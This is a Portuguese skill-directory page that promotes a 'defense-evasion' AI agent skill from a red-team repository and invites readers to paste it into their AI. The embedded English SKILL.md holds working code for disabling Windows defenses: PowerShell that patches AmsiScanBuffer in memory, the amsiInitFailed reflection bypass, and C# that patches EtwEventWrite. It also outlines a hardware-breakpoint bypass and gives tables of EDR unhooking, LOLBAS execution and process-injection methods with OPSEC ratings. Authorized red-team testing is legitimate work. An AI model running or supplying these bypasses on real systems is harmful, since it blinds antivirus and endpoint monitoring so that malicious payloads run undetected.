Pular para o conteúdo
Skillpedia
Segurança6,5 mil · #13929

defense-evasion

O que ela faz

Esta referência descreve categorias de técnicas que tentam evitar antivírus e ferramentas de detecção de endpoints. Ela é para testadores de segurança autorizados que precisam verificar o quanto um produto de endpoint consegue detectá-las.

Quando usar

  • ✓Quando uma equipe red team autorizada precisa verificar se um produto de endpoint detecta uma determinada categoria de técnica.
  • ✓Quando uma equipe de defesa quer um mapa dos métodos de evasão para as categorias do MITRE ATT&CK.
  • ✓Quando um testador precisa avaliar o risco de uma etapa de teste antes de executá-la em um alvo.

Link da skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Nossa equipe red team quer testar se nossa ferramenta de endpoint detecta métodos comuns de evasão. Você pode dar um plano de teste seguro?”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

O agente usa a tabela de categorias e o mapeamento da referência para escolher as categorias de teste, e observa que cada método tem validade limitada e precisa ser testado contra os produtos do próprio alvo.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

Defense Evasion Knowledge Base

Defense evasion techniques disable, bypass, or avoid endpoint security controls (AV, EDR, AMSI, ETW) to ensure payloads execute and implants persist without detection. Every technique here has a shelf life --- detections evolve constantly. Always test against the target's specific stack before deployment.

Quick Reference

Task Technique Risk Level
Disable AMSI Memory patch AmsiScanBuffer Medium
Disable AMSI (stealthier) Hardware breakpoint on AmsiScanBuffer Low
Disable ETW Patch EtwEventWrite Medium
Unhook EDR DLLs ScareCrow / manual ntdll reload High
Generate evasive payload ScareCrow with AES encryption Medium
Execute via LOLBAS mshta, certutil, rundll32, regsvr32 Varies
Process injection Process hollowing, early bird High
Custom loader Nim/Rust/Go shellcode runner Low-Medium

MITRE ATT&CK Mapping

Technique ID Name Evasion Relevance
T1562 Impair Defenses AMSI/ETW patching, disabling logging
T1027 Obfuscated Files or Information AES-encrypted shellcode, encoding
T1055 Process Injection Hollowing, APC injection, thread hijack
T1218 System Binary Proxy Execution LOLBAS (mshta, rundll32, regsvr32)
T1036 Masquerading Spoofed code signing, renamed binaries
T1140 Deobfuscate/Decode Files Runtime decryption of payloads

1. AMSI Bypass Techniques

Memory Patching (AmsiScanBuffer)

# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
# This patches the first bytes of AmsiScanBuffer with a return instruction

$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiContext', 'NonPublic,Static')
$ptr = [System.Runtime.InteropServices.Marshal]::ReadIntPtr($field.GetValue($null))

# Get AmsiScanBuffer address
$lib = [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()
$addr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")

# Change memory protection, write patch, restore protection
[Win32]::VirtualProtect($addr, [uint32]$patch.Length, 0x40, [ref]0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, $patch.Length)

Hardware Breakpoint Method (Stealthier)

// Set hardware breakpoint on AmsiScanBuffer
// When hit, modify return value via exception handler
// Does NOT modify memory — avoids integrity checks

// 1. Register Vectored Exception Handler (VEH)
// 2. Set DR0 = address of AmsiScanBuffer
// 3. Set DR7 to enable breakpoint on execution
// 4. On exception: set RAX = AMSI_RESULT_CLEAN, advance RIP past function
// 5. Continue execution

// Advantage: No memory patches detectable by EDR memory scanning
// Disadvantage: DR registers are per-thread, must set for each thread

Reflection Method

# Use reflection to set amsiInitFailed = true
# Prevents AMSI initialization in the current process

[Ref].Assembly.GetType(
    'System.Management.Automation.AmsiUtils'
).GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

AMSI Bypass OPSEC Notes

Method Detectable By OPSEC Rating
Memory patch EDR memory scanning, Integrity checks Medium
Hardware breakpoint Thread context inspection (rare) High
Reflection (amsiInitFailed) Script block logging, known signature Low
Forcing AMSI error Process monitor, event correlation Medium

2. ETW Patching

Patching EtwEventWrite

// Patch ntdll!EtwEventWrite to return immediately (ret = 0xC3)
// This disables Event Tracing for Windows in the current process
// Prevents .NET assembly loading events, PowerShell logging, etc.

IntPtr etwAddr = GetProcAddress(
    GetModuleHandle("ntdll.dll"),
    "EtwEventWrite"
);

// Write 'ret' instruction (0xC3) at function entry
uint oldProtect;
VirtualProtect(etwAddr, 1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out oldProtect);

What ETW Patching Disables

  • .NET assembly load events (used by EDR to detect execute-assembly)
  • PowerShell ScriptBlock logging
  • Process creation events via ETW providers
  • Network connection telemetry from userland

ETW OPSEC Notes

  • Patch BEFORE loading any tools or assemblies
  • S
Perguntas frequentes

Essas técnicas são sempre eficazes?

Não. A referência diz que cada técnica tem vida útil limitada, porque a detecção muda constantemente.

Como o risco é indicado?

A referência lista um nível de risco para cada categoria, como baixo, médio ou alto.

Qual framework é usado?

As técnicas são mapeadas para identificadores do MITRE ATT&CK, como impair defenses e system binary proxy execution.

Detalhes

Descrição original do autor

Endpoint defense bypass — AMSI/ETW patching, ScareCrow framework, custom loaders, direct/indirect syscalls, LOLBAS execution, process injection.

repo: BitterSecurity/Decepticon

Popularidade

Estrelas no GitHub
6,5 mil
Posição no ranking
#13929
Licença
Apache-2.0
Atualizada em
01/11/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas